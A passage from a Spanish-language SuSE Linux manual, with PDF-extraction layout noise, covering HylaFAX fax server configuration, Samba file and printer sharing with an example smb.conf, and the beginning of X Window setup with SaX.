directorios hay también ficheros FIFO que son: El fichero /var/spool/fax/FIFO y por cada modem administrado por faxgetty un fichero /var/spool/fax/FIFO.devname, donde devname es el nombre de dispositivo al que se conecta el modem. Configuración La configuración del servidor está distribuida desde 2 hasta 2+n ficheros de configuración, donde `n' representa la cantidad de modems en uso. El direc- torio /var/spool/fax/etc alberga los ficheros de configuración config y config.device . Este último determina la configuración del modem conectado al dispositivo device. Si p. ej. estuviera el modem conectado a /dev/ttyS0, este fichero se llamaría config.ttyS0. El fichero config contiene ajustes de ámbito general que necesitan el proceso de planificación faxq. config.device alberga la configuración específica del modem y config la del ''Queueing-Agent''. Los ajustes del servidor de protocolo se encuentran en el fichero /usr/lib/fax/hfaxd.conf. Todos estos ficheros de configuración se generan automáticamente, ejecutando el script faxsetup después de la instalación. Ejemplo de una sesión de configuración Lo siguiente muestra una sesión de configuración ejemplo iniciada por faxsetup . Para esta sesión se supone que son válidos los valores anotados en la tabla 6.4. ________________________________________________________________________________________________________* *________ Número de teléfono (0)49(0)911-1234568 Tipo (clase) de modem 2.0 ________________________________________________________________________________________________________* *________ Tabla 6.4: Las letras en negrita indican los datos a introducir. _____________________________________________8 Cuando se ejecuta faxsetup se reemplaza este número con el propio. 222 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ Configuración del planificador (scheduler) o Should an entry be added to /etc/inetd.conf [no]? | ____ | _____- o Country code [1]? 49 o Area code []? 911 o Long distance dialing prefix [1]? 0 o International dialing prefix [011]? 00 o Dial string rules file (relative to__ /var/spool/fax) ["etc/dialrules"]? |_____-| o Tracing during normal server operation [1]? 527 o Default tracing during send and receive sessions [0xffffffff]? 527 o Continuation cover page (relative to /var/spool/fax) []? etc/cover.templ o Timeout when converting PostScript_ documents (secs) [180]? |_____-| ____ o Maximum number of concurrent jobs to a destination [1]? |_____-| o Define a group of modems []? ä ny:.*" o Time of day restrictions for outbound jobs ["Any"]? |______|- o Pathname of destination__controls file (relative to /var/spool/fax) []? |_____-| o Timeout before purging a _stale_ UUCP lock file (secs) [30]? |_____-| o Max number of pages to permit in an outbound job [0xffffffff]? 30 o Syslog facility name__for_ ServerTracing messages [daemon]? |_____-| Después de haber introducido los datos, aparece el resumen como se ve en el salida en pantalla 6.10.1. _______________________________________________________________________________________________________________________|| |||||||| The non-default scheduler parameters are: | |||||||| | |||||||| | |||||||| CountryCode: 49 | |||||||| AreaCode: 911 | |||||||| | |||||||| LongDistancePrefix: 0 | |||||||| InternationalPrefix: 00 | |||||||| | |||||||| ServerTracing: 527 | |||||||| ContCoverPage: etc/cover.templ | |||||||| | |||||||| MaxSendPages: 30 | |||||||| ModemGroup: "any:.*" | |||||||| | |||||||| SessionTracing: 527 | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 6.10.1: Configuración del servidor Después de la configuración del planificador (ingl. scheduler), faxsetup cuestiona si se debe configurar un modem con faxaddmodem . Esta pregunta * * 223 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ la respondemos evidentemente con yes . Ahora viene la pregunta sobre el puerto serie del modem que se debe contestar con el nombre de dispositi- vo, sin indicar la rama completa del modem ~ /dev/modem se convierte en modem. o Country code [49]? |______|- o Area code [911]? |______|- o Phone number of fax modem [+1.999.555.1212]? +49.911.123456 o Local identification string (for TSI/CIG) ["NothingSetup"]? üS SE GmbH" o Long distance dialing prefix [0]? |______|- o International dialing prefix [00]? |______|- o Dial string rules file (relative to__ /var/spool/fax) ["etc/dialrules"]? |_____-| o Tracing during normal server operation [1]? 527 o Tracing during send and receive sessions [11]? 527 o Protection mode for received facsimile [0600]? 0644 o Protection mode for session logs [0600]? |______|- o Protection mode for modem [0600]? 0666 o Rings to wait before answering [1]? |______|- o Modem speaker volume [off]? |______|- o Command line arguments to getty program ["-h %l dx_%s"]? "-r -b -s %s %l" o Pathname of TSI access control list__file_ (relative to /var/spool/fax) [""]? |_____-| o Pathname of Caller-ID access control list____ file (relative to /var/spool/fax) [""]? |_____-| o Tag line font file (relative to ____ /var/spool/fax) [etc/lutRS18.pcf]? |_____-| o Tag line format string ____ ["From %%l|%c|Page %%p of %%t"]? |_____-| o Time before purging _a__stale UUCP lock file (secs) [30]? |_____-| o Hold UUCP lockfile_ during inbound data calls [Yes]? |_____-| o Hold UUCP lockfile during inbound voice calls [Yes]? |______|- o Percent good lines to accept_ during copy quality checking [95]? |_____-| o Max consecutive bad lines to__accept_ during copy quality checking [5]? |_____-| o Max number of pages_ to accept in a received facsimile [30]? |_____-| o Syslog facility name__for_ ServerTracing messages [daemon]? |_____-| 224 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ |||||||| | _______________________________________________________________________________________________________________________|||| |||||||| The non-default server configuration parameters are: | ||||||||| || |||||||| CountryCode: 49 | |||||||| AreaCode: 911 | |||||||| FAXNumber: +49.911.123456 | |||||||| | |||||||| LongDistancePrefix: 0 | |||||||| InternationalPrefix: 00 | |||||||| | |||||||| DialStringRules: "etc/dialrules" | |||||||| ServerTracing: 527 | |||||||| SessionTracing: 527 | |||||||| | |||||||| RecvFileMode: 0644 | |||||||| DeviceMode: 0666 | |||||||| | |||||||| RingsBeforeAnswer: 1 | |||||||| SpeakerVolume: off | |||||||| | |||||||| GettyArgs: "-r -b -s %s %l" | |||||||| LocalIdentifier: "SuSE GmbH" | |||||||| | |||||||| TagLineFont: etc/lutRS18.pcf | |||||||| TagLineFormat: "From %%l|%c|Page %%p of %%t" | |||||||| | |||||||| MaxRecvPages: 25 | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 6.10.2: o Set UID to 0 to manipulate CLOCAL [""]? |______|- Después de haber introducido los datos aparece el resumen del salida en pantalla 6.10.2. Ahora la configuración del planificador y del servidor están terminadas. Al final viene la pregunta, si se debe iniciar faxmodem para cada modem configurado. Es la alternativa a faxgetty que solo permite enviar (pero no recibir) faxes. Adaptive Answer Support Una característica muy práctica es la del ''Adaptive Answer Support'', que le permite al servidor de fax (faxgetty ) iniciar cualquier otro programa getty cuando se detecta que la llamada que entra no es un fax sino una llamada de petición de datos. Para activar este servicio se ha añadido durante la sesión de configuración ejemplo (ver en la página 222Configuracióntable.6.3) la entrada que se ve en el fichero 6.10.2. _______________________________________________________________________________________________________________________ |||||||| GettyArgs: "-r -b -s %s %l" | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero 6.10.2: Entrada para Adaptive Answer Support Aquí %s es el sustituto para la tasa DTE/DTC entre computadora y modem cuyo valor predeterminado es 38400 bps (ingl. bits per second). Algunos modems de la empresa USRobotics tienen problemas con esta tasa cuando están en modo fax (ver la documentación [Lef96 ]). Para evitarlos, la variable en el fichero de configuración específico del modem, debe tomar el valor 19200. Al igual que getty , se utiliza también mgetty del * * 225 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ paquete mgetty, serie n (Netzwerk-Support); esto precisa de la ampliación del fichero de configuración de mgetty (/etc/mgetty+sendfax/mgetty. config) con la entrada que se ve en el fichero 6.10.3. ________________________________________________________________________________________________________* *________|| | port modem * * | | direct y * * | | toggle-dtr n * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.10.3: Entrada en el fichero de configuración de mgetty El denominador modem 9 representa el nombre de dispositivo a través del cual se accede al modem. Lo importante es que tanto faxgetty como mgetty accedan al mismo dispositivo. Fax Dispatching Otra característica interesante es el traspaso automático de un fax entrante a una determinada dirección de E-Mail. Para ello hace falta generar el fichero etc/FaxDispatch en el directorio Server-Root. El fichero 6.10.4 muestra un ejemplo de un fichero semejante. ________________________________________________________________________________________________________* *________ | case "$SENDER" in * * | | * * | | *0815*) SENDTO=tux;; * * | | *) SENDTO=FaxMaster;; * * | | esac * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.10.4: Ejemplo de etc/FaxDispatch Los faxes que entran se identifican con su TSI. En este caso, todos los faxes que contienen la combinación de cifras 0815 en su TSI, se envían por E-Mail al usuario `tux' en forma de un attachment en formato PostScript10 . A parte de esto, los demás faxes que entran se traspasan al `FaxMaster'. ________________________________________________________________________________________________________* *________|| | Si tiene problemas con la instalación o la configuración de HylaFAX , no * * |||| | * * ||| | dude en consultar nuestro banco de datos de soporte (sistema de ayuda, * * ||| | paquete susehilf, serie doc (documentación)). Bajo la palabra clave * * ||| | * * ||| | äf x" encontrará muchos consejos. * * ||| |_______________________________________________________________________________________________________* *________|||_ _____________________________________________9 /dev/modem es el enlace hacia /dev/ttySx. 10 Por supuesto puede cambiar el formato, modificando bin/faxrcvd en el Server-Root. 226 Capítulo 7 Bailemos samba. . . Con la ayuda del programa Samba , del australiano Andrew Tridgell, es posible hacer de cualquier computadora Unix un servidor de ficheros y de impresión potente, con clientes que corren bajo DOS o Windows. Desde el comienzo de su desarrollo en 1991, Samba se ha convertido en un producto muy estable ocupando un sitio fijo en el mundo empresarial, donde se usa como complemento o incluso como reemplazo de los servidores Novell Net- Ware o Windows NT . 7.1 Introducción Samba es ya un producto muy complejo y, por eso, no le podemos ofre- cer aquí una descripción detallada de todas las posibilidades, sino que nos quedamos con un resumen de las funciones más destacadas. El directo- rio pfad/usr/doc/packages/samba contiene muchos documentos que le sirven para conseguir incluso configuraciones complejas. La página del manual de smb.conf (man smb.conf ) contiene la referencia del fichero de configu- ración de Samba 1 . Samba usa el protocolo SMB (Server Message Block) de la empresa Mi- crosoft. Sin embargo, en todos los clientes (p. ej. Windows 95 / 98 o Windows NT), el protocolo TCP/IP debe estar instalado ya que Samba usa el protocolo SMB sobre TCP/IP. Computadoras con Windows que tienen acceso a Internet ya tienen TCP/IP instalado. El protocolo SMB (ingl. Server Message Block) ofrece servicios de impresión y de acceso a ficheros para el mundo de Windows y LAN Manager y se basa en los servicios NetBIOS, por eso, se puede comparar el servicio de ficheros con el de NFS. A este respecto, SMB no se diferencia de otros protocolos como p. ej. el NetWare Core Protocol. Microsoft ~ a diferencia de Novell ~ ha publicado la especificación del protocolo SMB, así que es posible el uso de este protocolo por parte de terceros. El soporte de instalación no cubre la configuración de Samba (ver aparta- do H.1.2 en la página 541Cobertura del soporte de instalaciónsubsection.H.1.2). 1 ____________________________________________________ Véase [BD99 ], el libro sobre Samba de Olaf Borkner-Delcarlo editado por SuSE PRESS . * * 227 7. Bailemos samba._._.____________________________________________________________________________________________________________* *_______________________________________@ NetBIOS NetBIOS es una interfaz para programas de aplicación (ingl. Application Pro- gram Interface, API), que se diseñó para la comunicación entre computa- doras. Entre otros, ofrece un servicio de nombres (ingl. name service) que le permite a las computadoras reservarse un nombre en la red. Después de haberlo reservado, se puede acceder a las computadoras con nombre. No ex- iste ningún control centralizado para otorgar o controlar los nombres. Cada computadora puede reservar en la red tantos nombres como quiera, mientras no se haya adelantado otro. Se puede implementar la interfaz NetBIOS sobre diferentes arquitecturas de red. Hay una implementación que se encuentra relativamente ''cerca'' al hard- ware de red llamada NetBEUI . NetBEUI es lo que se denomina frecuente- mente como NetBIOS . NetBEUI trabaja con la dirección de hardware que tiene cada tarjeta red para direccionar los paquetes de información a través de la red. Esta dirección no tiene ~ como las direcciones IPX o IP ~ una estructura que proporcione información para ''enrutar'' (ingl. routing); por eso no se puede pasar paquetes de NetBEUI a través de enrutadores (ingl. router), lo que reduce una red con NetBEUI a la zona que se puede alcanzar con repetidores o puentes (ingl. bridges). Otros protocolos de red que se han implementado con NetBIOS son IPX de Novell y TCP/IP. El protocolo con el cual se montó NetBIOS sobre TCP/IP, se explica en RFC 1001 y 1002; RFC 1001 contiene además una introducción bastante buena sobre los conceptos de NetBIOS; conocerla sirve mucho para entender servicios como WINS 2 . Los nombres de NetBIOS no tienen nada en común con aquellos asignados en el fichero /etc/hosts o por DNS ~ NetBIOS es un área de nombres com- pletamente propio. Esto es válido también para los nombres que se asignan en la implementación de NetBIOS mediante TCP/IP. Sin embargo, para simpli- ficar la administración se recomienda usar, como mínimo para los servidores, nombres de NetBIOS equivalentes a los del DNS. Samba lo hace por defecto. Los clientes Aparte de DOS y Windows 3.1, todos los sistemas operativos usuales de los PC's soportan el protocolo SMB para la exportación e importación de zonas de disco. Windows for Workgroups 3.11 (Windows para trabajo en grupos) también soporta SMB pero, con la instalación estándar solo a través de IPX y NetBEUI. Para poder utilizar Samba, que ofrece SMB solo a través de TCP/IP, se precisa la instalación de un paquete de software gra- tuito de Microsoft. Al igual existe también software gratuito para DOS y Windows 3.1, para posibilitar el acceso a Samba. El software se encuentra en ftp://ftp.microsoft.com/bussys/Clients. Los servidores SMB ofrecen a sus clientes espacio en disco en forma de ''Shares''. Un Share es un directorio en el servidor con todos los sub- _____________________________________________2 WINS no es más que un servidor de nombres de NetBIOS ampliado. No es una idea de Microsoft , solo el nombre es nuevo. 228 ________________________________________________________________________________________7.2.__Instalación_del_servidor______* *______________________ directorios. Este se exporta con un determinado nombre y los clientes pueden acceder a él bajo este nombre. El nombre del Share es completamente libre, no hace falta que coincida con el nombre del directorio exportado. De la misma manera se asigna un nombre a una impresora exportada, para que los clientes puedan acceder a ella. Permisos de acceso Un servidor NFS se configura a través del fichero /etc/exports y las lim- itaciones de acceso son siempre específicas para una computadora. Esto es razonable para el entorno Unix para el cual fue diseñado, ya que las esta- ciones de trabajo de Unix son clientes capaces de autentificar los usuarios. Con la llegada de DOS y Windows, NFS ha dejado de ser algo seguro, ya que en ellos todos los usuarios tienen derechos de superusuario. En este sentido, los clientes NFS para DOS representan un problema de seguridad enorme. Por el contrario, el protocolo SMB viene del mundo DOS y contempla los problemas de seguridad directamente. Todos los accesos a un Share se prote- gen con una contraseña. Para realizarlo, SMB ofrece dos posibilidades: o ''Share Level Security'' En este caso cada Share tiene una contraseña fija. Cada persona que conoce la contraseña tiene acceso al Share. o ''User Level Security'' Esta variante introduce el concepto de usuario SMB. Cada usuario tiene que darse de alta en el servidor con una contraseña propia. Después de esto, el servidor puede otorgar derechos de acceso a los distintos Shares en función del nombre de usuario. o ''Server Level Security'' Samba aparenta frente a los clientes trabajar en el ''User Level Mode'', pero en realidad pasa todas las peticiones de entrada a otra computadora en ''User Level Mode'', que se encarga de la autentificación. Esta config- uración precisa de un parámetro adicional (password server =). La decisión sobre el tipo de autentificación es algo que afecta a todo el servi- dor. No es posible exportar algunos shares en modalidad ''Share Level Secu- rity'' y otros en ''User Level Security''. El fichero /usr/doc/packages/samba/security_level.txt contiene más información al respecto. 7.2 Instalación del servidor Los servicios de SMB se inician dando a la variable del fichero /etc/rc.config el valor yes (ver apartado 3.7.12 en la pági- na 116Cambiar fichero de configuraciónsubsection.3.7.12). El fichero /etc/smb.conf contiene prácticamente todos las opciones config- urables de Samba y su aspecto es similar al de un fichero-.INI de Windows. Está dividido en varios apartados con distintos parámetros en cada uno. Cada apartado describe siempre un Share que lleva su mismo nombre. Entre ellos hay cuatro apartados especiales que son [global] , [ejemplo] , [cdrom] y * * 229 7. Bailemos samba._._.____________________________________________________________________________________________________________* *_______________________________________@ [printers] . El apartado [global] contiene todos los parámetros que se refieren a la configuración global. Al generar el apartado [ejemplo] cada cliente puede acceder sin contraseña al Share [ejemplo] con los derechos del usuario ''nobody''. Lo mismo es válido para el apartado [printers] , con el cual se ponen todas las impresoras definidas en /etc/printcap a disposición de los clientes, sin necesidad de mencionarlas explícitamente. smb.conf| * * | | * * | Un|ejemplo|muy simple se muestra en el fichero 7.2.1. * * || ________________________________________________________________________________________________________* *________|| | [global] * * | | * * | | workgroup = grupo_de_trabajo * * | | guest account = nobody * * | | * * | | keep alive = 30 * * | | os level = 2 * * | | * * | | security = share * * | | printing = bsd * * | | printcap name = /etc/printcap * * | | * * | | load printers = yes * * | | * * | | * * | | [ejemplo] * * | | path = /home/ejemplo * * | | * * | | comment = directorio_ejemplar * * | | read only = no * * | | * * | | browseable = yes * * | | public = yes * * | | * * | | create mode = 0750 * * | | * * | | [cdrom] * * | | * * | | path = /cdrom * * | | comment = cdrom * * | | * * | | volume = "Soy_el_CD_ROM" * * | | read only = yes * * | | * * | | available = yes * * | | share modes = no * * | | * * | | browseable = yes * * | | public = yes * * | | * * | | * * | | [printers] * * | | comment = All Printers * * | | * * | | browseable = no * * | | printable = yes * * | | * * | | public = no * * | | read only = yes * * | | * * | | create mode = 0700 * * | | directory = /tmp * * | |_______________________________________________________________________________________________________* *________ | Fichero 7.2.1: Ejemplo de un fichero /etc/smb.conf El fichero /etc/smb.conf del ejemplo proporciona a todos los usuarios el directorio /home/beispiel y todas las impresoras anotadas en /etc/ printcap se proporcionan a todos los clientes. 230 ________________________________________________________________________________________7.2.__Instalación_del_servidor______* *______________________ o workgroup = grupo_de_trabajo El servidor Samba está asignado a un grupo de trabajo como todas las computadoras con Windows y dentro de este grupo aparece en el ''Entorno de red''. workgroup es el nombre por defecto del grupo de trabajo en la versión inglesa de Windows. o guest account = nobody Para determinadas tareas, Samba necesita un usuario dado de alta en /etc/password, que puede no tener ningún derecho en el sistema de ficheros o bien, tener derechos mínimos. Cuando se definen Shares con acceso público (parámetro=public = yes ), todas las operaciones se ll- evan a cabo con esta identificación de usuario. También cuando no existe ningún Share público, el guest account debe estar definido para que el servidor Samba aparezca en el entorno de red. o keep alive = 30 Las computadoras con Windows tienen la tendencia a colgarse de vez en cuando. Cuando se dejan conexiones abiertas es posible que el servidor lo note después de mucho rato, por lo tanto, el parámetro keep alive = 30 hace que Samba compruebe cada 30 segundos si el cliente todavía ''vive'', lo que evita el despilfarro de recursos en el servidor por tener demasiados procesos abiertos. o os level = 2 El parámetro os level = 2 hace que Samba ofrezca servicios de nave- gación para WfW y Windows 95. Si se encuentra una computadora con WindowsÑT en la red, Samba no ofrece este servicio si no se usa la com- putadora con NT para ello. o security = share A este respecto ver el apartado sobre los derechos de acceso. El apartado [ejemplo] define parámetros para el directorio a exportar. Todos los usuarios en la red pueden acceder a este directorio sin contraseña ya que public = yes está validado; también es así para el /cdrom exportado (de este modo puede configurar con Samba p. ej. un ''Jukebox'' de bajo coste). o path = /home/ejemplo Con este path se exporta el directorio /home/ejemplo. o comment = directorio_ejemplar Cada Share de un servidor Samba puede tener un comentario con una explicación del mismo. o browsable = yes Este comentario hace que el Share ejemplo sea visible en el entorno de red. o read only = no Samba deniega por defecto el acceso de escritura a un Share exporta- do, pero en este caso es necesario escribir sobre el Share, por lo tanto read only = no . o create mode = 750 * * 231 7. Bailemos samba._._.____________________________________________________________________________________________________________* *_______________________________________@ Las computadoras con Windows desconocen el concepto de derechos de acceso, propio de Unix, lo que les impide definir los derechos de acceso que deben tener los ficheros creados. El parámetro create mode determina con cuáles derechos se deben crear los ficheros. o public = yes Se permite el acceso como invitado (ingl. guest) a este Share, lo que suprime la pregunta por una contraseña! El usuario que entra de este modo aparece como ''User nobody''. ________________________________________________________________________________________________________* *________|| | Existe un programa denominado swat que permite administrar facilmente * * |||| | el servidor samba, ya que ofrece una interfaz de web sencilla para con- * * ||| | * * ||| | figurarlo cómodamente. Hay más información acerca de este programa * * ||| | * * ||| | en /usr/doc/packages/samba/htmldocs/swat.8.html o en la pági- * * ||| | na del manual de swat (man swat ). * * ||| |_______________________________________________________________________________________________________* *________|||_ 7.3 Instalación de los clientes Primero hay que mencionar que los clientes solo pueden acceder al servidor Samba vía TCP/IP. Actualmente no es posible usar con Samba NetBEUI o NetBIOS sobre IPX, pero como TCP/IP está ganando cada vez más terreno ~ incluso en las aplicaciones de Novell y de Microsoft ~ es bastante cuestion- able si esto cambiará algún día. Windows 95/98 Windows 95/98 trae el soporte de TCP/IP incorporado, pero al igual que Windows 3.11 no se instala con la configuración por defecto. Para la in- stalación de TCP/IP en un Windows ya instalado, se selecciona el icono de red en el panel de control y después `Agregar...', `Protocolo' TCP/IP de Microsoft. ¡Debe indicarse correctamente la dirección y máscara de red (ver apartado 5 en la página 153Conexiones en una red de área local (LAN)chapter.5)! Después del reinicio de la computadora con Windows puede encontrar el servidor Samba en la red (doble-click con el mouse so- bre el icono de red en el escritorio). ________________________________________________________________________________________________________* *________|| | Para usar una impresora conectada al servidor Samba, se recomienda in- * * |||| | stalar en el cliente el driver general para impresoras PostScript o el usado * * ||| | * * ||| | para impresoras Postscript de Apple (se usan los drivers que vienen junto * * ||| | con la versión de Windows). Después se conecta con la cola de impresión * * ||| | * * ||| | de Linux, que contiene el reconocimiento automático con apsfilter. * * ||| |_______________________________________________________________________________________________________* *________|||_ 7.4 Optimización Recordamos que la utilidad de la configuración expuesta anteriormente se reduce al uso privado y no es de uso comercial. La configuración por defecto en /etc/smb.conf es muy lenta, así que a continuación presentamos un par de propuestas útiles para optimizar. 232 _______________________________________________________________________________________________________7.4.__Optimización_____* *____________________ o socket options = TCP_NODELAY El protocolo TCP/IP siempre intenta juntar varios bloques pequeños de datos. Como Samba trabaja siempre con muchos de estos bloques, la práctica muestra que es mejor prescindir de este característica de TCP/IP, usando la opción socket options = TCP_NODELAY . o oplocks = yes Con esta opción, los accesos de escritura a ficheros modificados no se realizan antes de la aparición de un acceso de lectura por parte de otro cliente al mismo fichero. Así se cumple la función de una caché de escritura. o write raw = yes Raw write permite enviar 65535 bytes en cada paquete de datos, lo que puede resultar en un aumento significativo de velocidad. En caso de tarjetas de red baratas (de poca calidad) puede ser mejor dejar esta opción en write raw = no . o read raw = yes Funciona como write raw = yes , pero contempla la lectura de datos. _______________________________________________________________________________________________________________________|| |||||||| Los ficheros /usr/doc/packages/samba/textdocs/Speed.txt y ||| | |||||||| /usr/doc/packages/samba/textdocs/Speed2.txt le brindan ayuda || | |||||||| || | |||||||| adicional y muchos trucos para la optimización. || | ||||||||_______________________________________________________________________________________________________________||_ * * 233 7. Bailemos samba._._.____________________________________________________________________________________________________________* *_______________________________________@ 234 Parte IV El sistema X Window 235 Capítulo 8 El sistema X Window El X Window System es prácticamente un estándar para entornos gráficos de usuario en Unix. Pero eso no es todo sobre el sistema X Window, X11 es un sistema para redes. Las aplicaciones que corren en la computadora tierra pueden mostrar sus salidas de pantalla en la computadora sol, si las computadoras están conectadas vía red. Esta red puede ser una LAN (Local Area Network ~ red de área local), pero también es posible que las computadoras se comuniquen a través de miles de kilómetros usando Internet. X11 se desarrolló gracias a la cooperación entre DEC (Digital Equipment Corporation ) y el proyecto Athena del MIT (Massachusetts Institute of Tech- nology ). La primera versión (X11R1 ) salió en septiembre de 1987. Desde la versión 6 (Release 6) la X Consortium, Inc., y desde 1996 The Open Group acogieron el desarrollo del X Window System . XFree86 TM es una implementación libre de servidores X para sistemas Unix a base de PC (ver http://www.XFree86.org). XFree86 se sigue desarrol- lando por programadores en todo el mundo, que se unieron en 1992 para for- mar el XFree86-Team. De esta unión surgió en 1994 la empresa The XFree86 Project, Inc. cuyo objetivo es poner XFree86 TM a la disposición de un amplio público y contribuir con el desarrollo e investigación del sistema X Window. No queremos continuar sin antes agradecer al XFree86-Team por su gran cooperación y por haber cedido versiones-beta que han sido cruciales para la elaboración de este documento1 . Los siguientes capítulos se ocupan de la configuración del servidor X ~ cosa que era un tanto complicada en tiempos pasados. Con este fin se explican los programas SaX (sax )2 y xf86config , que permiten una configuración simple del sistema X Window. En comparación a xf86config, SaX trabaja directamente con el servidor X y se puede usar con el mouse. Así que lo mejor es instalar directamente con YaST el programa SaX (paquete sax, serie x, y los paquetes pendientes, especialmente el paquete xvga16 ) y también ~ si ya se conoce ~ el servidor X que corresponde a la tarjeta gráfica. Los servidores X se encuentran en la serie serie xsrv (ver apartado 3.5.3 en la página 97Cambiar / Crear configuraciónsubsection.3.5.3). Si se olvida elegir un servidor X, SaX lo notará y procederá a instalarlo vía YaST . 1 ____________________________________________________ Algunas partes de la descripción del sistema X11 se sacaron del capítulo Configurar XFree86 del libro [HHMK96 ] que nos dejó amablemente Dirk Hohndel. 2 SaX , (ingl. SuSE Advanced X Configuration Tool), hace obsoleto a XF86Setup (paquete xfsetup, serie x). * * 237 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Para usar el hardware existente (tarjeta de vídeo, monitor, teclado) de manera óptima, existe la posibilidad de optimizar la configuración a mano. Solamente se discutirán los aspectos más importantes de esta optimización manual. Var- ios ficheros del directorio /usr/doc/packages/xf86 al igual que la página del manual de XF86Config (man XF86Config ) contienen información adi- cional sobre el sistema X Window. ________________________________________________________________________________________________________* *________||| | ¡Al configurar el sistema X Window se recomienda tener mucho cuidado! * * |||| | * * ||| | Jamás se debe arrancar X sin haber terminado la configuración. Un sis- * * ||| | tema mal ajustado puede provocar daños irreparables al hardware; están * * ||| | * * ||| | en peligro especialmente los monitores de frecuencia fija. * * ||| | Los autores de este libro y la SuSE GmbH no se responsabilizan de posi- * * ||| | * * ||| | bles daños. El texto presente fue redactado con máximo cuidado, no ob- * * ||| | stante no se puede garantizar que los métodos presentados sean correctos * * ||| | * * ||| | para su hardware y que no pueda dañarse. * * ||| |_______________________________________________________________________________________________________* *________|||_ 8.1 Configuración con SaX El programa SaX , (ingl. SuSE Advanced X Configuration Tool), sirve para una instalación fácil del sistema X Window. Se puede utilizar por completo con el mouse o el teclado directamente sobre una superficie gráfica. Aparte de algunos casos especiales, p. ej. hardware muy antiguo o muy nuevo, es capaz de reconocer los componentes por sí mismo y así facilitar al máximo la configuración de un servidor X Window. 8.1.1 Primera instalación Para instalar por primera vez el sistema X Window ~ el entorno gráfico de todos los sistemas Linux ~ hay que conocer algunas especificaciones del ordenador: o El tipo de monitor utilizado (nombre y marca). o El tipo de teclado. o El tipo de mouse y el puerto de conexión. o El fabricante y el nombre de la tarjeta gráfica. ________________________________________________________________________________________________________* *________ | Ejecute el programa SaX (sax ) como usuario `root'. También puede ini- * * |||| | * * ||| | ciarlo desde YaST : `Administración de sistema' y después `Con- * * ||| | * * ||| | figurar XFree86[tm]' (ver apartado 3.7 en la página 102Adminis- * * ||| | tración del sistemasection.3.7). * * ||| |_______________________________________________________________________________________________________* *________|||_ En la línea de comando (el prompt de Linux) el programa se inicia con el comando: tierra:/root # sax Después del inicio se buscan tarjetas de expansión del tipo PCI. Si se encuen- tra una tarjeta de vídeo de este tipo, el programa la identifica y la muestra bajo `Tarjeta gráfica'. Después de haber escaneado el Bus-PCI se abre la pantalla principal, que contiene las fichas para el mouse `Ratón', el teclado `Teclado', la tarjeta 238 ________________________________________________________________________________________8.1.__Configuración_con_SaX_________* *______________________ de vídeo `Tarjeta gráfica', el monitor `Monitor' y la superficie gráfica `Escritorio'. SaX carga entonces los datos sobre el hardware conocido. Los datos encontrados durante la comprobación se encuentran después bajo sus respectivas fichas, así que la tarjeta gráfica que se tenga se encuentra en la ficha `Tarjeta gráfica'. SaX trata de reconocer el hardware del modo más exacto posible, no obstante, se recomienda comprobar y en su caso corregir todos los ajustes que hace SaX para asegurarse de que todo está bien y completo! Para ello el programa ofrece básicamente cinco ''fichas'' que son: `Ratón', `Teclado', `Tarjeta gráfica', `Monitor' y `Escritorio'. A todas las fichas se accede con un click del mouse sobre el correspondiente título. Existe también la posibilidad de manejar el programa con el teclado para el caso en que el mouse todavía_no esté_configurado_correctamente. Pulsando varias veces la tecla |T____a|b(= |T____a|b) se puede_llegar a los distintos campos de cada ficha. Para cambiar a otra ficha se pulsa |T____a|bhasta que el_título_de_la_ ficha actual se enmarque en negro. A continuación_ se__usa_ |___|_o |___|!para seleccionar la ficha que se mostrará pulsando |_____-|(= |E_______n|ter). En cada ficha hay varios elementos como p. ej. botones (ingl. buttons), listas de selección (ingl. listboxes) y cuadros de texto (ingl. entry fields). Estos objetos se pueden manipular también por completo_con el teclado. Para alcanzar un botón (p. ej. `Aplicar')_se_pulsa_|T____a|bhasta_que el botón deseado se enmarque en negro. Con _-|||||_o |_____________|se_puede pulsar la tecla y así poner en marcha la acción deseada. Con |F____1|0se llega a las opciones de menú en el extremo superior de la pantalla. Para seleccionar una opción de una_ lista_ se pulsa | _____|Tabhasta que el cuadro correspondiente se enmarque. Con |"_ |y |#_ | se puede seleccionar la opción que se encuentra resaltada__por_ la barra de desplazamiento. Finalmente la opción se activa pulsando |E_______n|ter. El mouse (ratón) La primera ficha que se ve después del arranque del programa es la del mouse `Ratón' (figura 8.1 en la página siguiente). Si el mouse ya fue configurado durante la primera instalación de Linux, p. ej. configurando gpm , estos datos se traspasan a SaX y el mouse está directa- mente a disposición cuando se inicia SaX . En este caso se puede continuar de inmediato con la configuración de los demás dispositivos. Si por el contrario no estuviera_configurado el mouse, se tendría que hacer ahora. Pulsar dos veces_|T____a|by_seleccionar el mouse adecuado_bajo_`Fab- ricante' (repasar con |"_ |y |#__|la_lista). Después pulsar |E_______n|terpara fijar el fabricante seleccionado. Usar |T____a|bpara activar la lista de los modelos `Mod- elo' y seleccionar el tipo correcto. Pulsando la tecla `Aplicar' es posible comprobar si la selección es correcta, ya que la flecha del mouse se debería mover ahora. El sub-menú por debajo de `Experto' permite definir directamente un pro- tocolo de mouse, lo que se debería hacer cuando no se sabe qué tipo de mouse * * 239 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Figura 8.1: SaX : Ajustes del mouse se tiene y cuando ya se ha intentado sin éxito usar el mouse de puerto serie como mouse `Microsoft' del tipo `Standard Mouse'. Allí se pueden activar también opciones adicionales como p. ej. la transferencia en baudios, emulación de tres teclas, etc. Las opciones de `Experto' son en detalle las siguientes: Figura 8.2: SaX : Ajustes adicionales para configurar el mouse `Dispositivo': (Driver) En el caso de un fabricante desconocido se puede definir aquí el `Protocolo' de mouse directamente. También se debe elegir el tipo de dispositivo. En caso de un mouse conectado al bus, se debería probar la variante PS/2. `Propiedades': Definir parámetros detallados sobre el tiempo de respuesta del mouse. `Opciones': Emulación de mouse de 3 botones, etc. 240 ________________________________________________________________________________________8.1.__Configuración_con_SaX_________* *______________________ `Probar': En la parte inferior del mouse simbólico de la `Zona de prue- bas', 